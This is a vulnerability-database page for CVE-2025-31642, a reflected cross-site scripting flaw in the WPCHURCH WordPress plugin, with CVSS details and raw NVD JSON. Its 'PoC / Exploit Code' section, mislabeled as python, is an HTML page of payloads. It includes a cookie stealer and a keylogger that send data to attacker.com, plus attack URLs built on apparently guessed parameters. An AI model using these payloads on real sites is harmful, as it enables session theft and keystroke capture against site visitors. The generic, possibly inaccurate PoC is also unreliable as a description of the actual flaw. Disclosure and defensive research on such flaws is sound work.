Security Vulnerability Report
中文
CVE-2025-31642 CVSS 7.1 HIGH

CVE-2025-31642

Published: 2026-01-07 02:14:11
Last Modified: 2026-04-28 19:31:14

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dasinfomedia WPCHURCH allows Reflected XSS.This issue affects WPCHURCH: from n/a through 2.7.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WPCHURCH <= 2.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-31642 PoC - Reflected XSS in WPCHURCH Plugin --> <!-- Target: WordPress WPCHURCH Plugin <= 2.7.0 --> <!-- Attack Vector: Malicious URL with XSS payload --> <!DOCTYPE html> <html> <head> <title>CVE-2025-31642 PoC</title> </head> <body> <h1>CVE-2025-31642 - WPCHURCH Reflected XSS PoC</h1> <p>Target: WordPress site with WPCHURCH plugin <= 2.7.0</p> <h2>Malicious URL:</h2> <pre id="malicious-url"></pre> <h2>XSS Payloads:</h2> <ul> <li><strong>Cookie Stealer:</strong> <script>document.location='https://attacker.com/steal?c='+document.cookie</script></li> <li><strong>Alert Demo:</strong> <script>alert('XSS Vulnerable')</script></li> <li><strong>Keylogger:</strong> <script>document.onkeypress=function(e){new Image().src='https://attacker.com/log?k='+e.key}</script></li> </ul> <script> // Generate malicious URLs var baseUrl = window.location.origin + '/wp-admin/admin.php'; var payloads = [ '?page=wpchurch&search=<script>alert(document.domain)</script>', '?page=1&s=<img src=x onerror=alert(document.cookie)>', '?view=<script>fetch("https://attacker.com/?c="+btoa(document.cookie))</script>' ]; document.getElementById('malicious-url').textContent = baseUrl + payloads[0]; // Log to console for testing console.log('CVE-2025-31642 PoC URLs:'); payloads.forEach(function(url, i) { console.log((i+1) + ': ' + baseUrl + url); }); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31642", "sourceIdentifier": "[email protected]", "published": "2026-01-07T02:14:11.380", "lastModified": "2026-04-28T19:31:13.683", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dasinfomedia WPCHURCH allows Reflected XSS.This issue affects WPCHURCH: from n/a through 2.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/church-management/vulnerability/wordpress-wpchurch-plugin-2-7-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}